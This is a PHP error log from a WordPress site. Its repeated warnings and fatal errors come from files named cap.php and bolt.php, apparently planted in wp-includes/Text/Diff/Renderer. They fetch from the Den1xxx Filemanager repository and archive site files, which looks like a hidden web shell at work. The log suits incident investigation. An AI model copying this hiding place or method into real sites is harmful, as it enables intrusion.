[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
